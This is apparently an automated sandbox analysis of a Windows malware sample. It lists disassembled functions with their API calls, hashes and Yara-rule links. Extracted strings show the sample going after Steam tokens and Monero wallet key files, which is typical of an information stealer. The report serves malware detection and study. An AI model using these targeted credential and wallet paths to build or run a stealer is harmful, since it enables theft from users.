Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 60318822-0
Opcode ID: ca47ad997d991ab7ab6f502aa8bb1ed80cfa5e5495548b1a15ce2d70e4232242
Instruction ID: cfbf136561e5572c1f557637898eb930dc8d337c4b30c9ab2443b64e88c61531
Opcode Fuzzy Hash: ca47ad997d991ab7ab6f502aa8bb1ed80cfa5e5495548b1a15ce2d70e4232242
Instruction Fuzzy Hash: 5872C176D11159EACB19FB90ED90EEE733DAF34210F50429AA55763058EF342B4ACF60

Function 01006D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64dca099bdb06260c22239f90a3aeeb1a5602fe07cd37446d42875f6efef6c52
Instruction ID: edc0b5364cacf3a4662ae1e574e5ca838b349ccbda3cb88104be5ece5f277d11
Opcode Fuzzy Hash: 64dca099bdb06260c22239f90a3aeeb1a5602fe07cd37446d42875f6efef6c52
Instruction Fuzzy Hash: AF6159B4D00219DFEB15DF98D984BEEB7B2BB04304F108199E54A67280D736AFA4CF91

Function 010170D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0101718C

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 1e850d26bfae6f182ec5137f7c0c1b1cc36e54461a49d4e8fe3c793a95ec27c1
Instruction ID: 2501fc7efaa07819455740c6086639bcd06a58b0e106d22948a07584305207fa
Opcode Fuzzy Hash: 1e850d26bfae6f182ec5137f7c0c1b1cc36e54461a49d4e8fe3c793a95ec27c1
Instruction Fuzzy Hash: 5F51BFB1D40219DFDB24EBA4DC84BEEB3B4AF54304F1040A8E68677185EB786E89CF54

Function 01015100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

lstrlen.KERNEL32(00000000,00000000,01020ACA), ref: 0101512A

Strings

steam_tokens.txt, xrefs: 0101513F

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 27067ec0cc0af961e450ed963e987c40d2b9288b1910a6011c8844d11f1508ce
Instruction ID: 1cc3c4774af57c0bab1dbda774be382a0ddb0fbd686f50993bd5bbd749b80acf
Opcode Fuzzy Hash: 27067ec0cc0af961e450ed963e987c40d2b9288b1910a6011c8844d11f1508ce
Instruction Fuzzy Hash: 21F06D32A41109A6DB05F7B0EC559ED733CAB24210F804228E89367488EF38670AC7A1

Function 01017ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(01020E2C), ref: 01017F00
wsprintfA.USER32 ref: 01017F16

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: af1bdb278a2131ecae272df08406fcfcaf4b19a613fe7dcf12aae3ac3b62bc1d
Instruction ID: a271a63f3ee9e5a85d59b9fe62b26488791cfc5080283a6d3e8ff1dbf8c83de6
Opcode Fuzzy Hash: af1bdb278a2131ecae272df08406fcfcaf4b19a613fe7dcf12aae3ac3b62bc1d
Instruction Fuzzy Hash: 38F090B5A40618EBCB14CF85EC49FAAF7BCFB48A24F40066DF51693684D77969048BE0

Function 0100B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

lstrlen.KERNEL32(00000000), ref: 0100B9C2
lstrlen.KERNEL32(00000000), ref: 0100B9D6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 14177ce71ce469993f2615a73be758884c58a75df13c54f94d42b60353d721a3
Instruction ID: 1afffc6d6a06384561af3bf02cca1fb486239e3356da264b18326a0ea7708659
Opcode Fuzzy Hash: 14177ce71ce469993f2615a73be758884c58a75df13c54f94d42b60353d721a3
Instruction Fuzzy Hash: AFE16F76A11059DBDF15FBA0DD90EEE7339BF24210F404169E58767098EF386B4ACBA0

Function 0100AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

lstrlen.KERNEL32(00000000), ref: 0100B16A
lstrlen.KERNEL32(00000000), ref: 0100B17E

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 28dadaae89ca7eb1a38846b125b81cbab02423c10210c4c164a7cc371dc1135f
Instruction ID: bdb011b77ec446ae1ee66d8393a1fc889ac8c35d4454f780bf6a10a92ef4a2d3
Opcode Fuzzy Hash: 28dadaae89ca7eb1a38846b125b81cbab02423c10210c4c164a7cc371dc1135f
Instruction Fuzzy Hash: 45918276A11149DBDF14FBA0DD94EEE7339BF24210F404169F587A7098EF386A49CBA0

Function 0100B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

lstrlen.KERNEL32(00000000), ref: 0100B42E
lstrlen.KERNEL32(00000000), ref: 0100B442

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 35239661fdc7cb4e9429dc80433231c8173e7f1dea87277d97667d759ec5a9ad
Instruction ID: ae09458c81912a425d925a3787a87958325f68441e59f04bd1169e88385e6215
Opcode Fuzzy Hash: 35239661fdc7cb4e9429dc80433231c8173e7f1dea87277d97667d759ec5a9ad
Instruction Fuzzy Hash: 84717276A11159DBDF15FBA0DD94DEE7339BF64210F404128F583A7098EF386A09CBA0

Function 01014BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014BEA
lstrcat.KERNEL32(?,00A5D6E0), ref: 01014C08

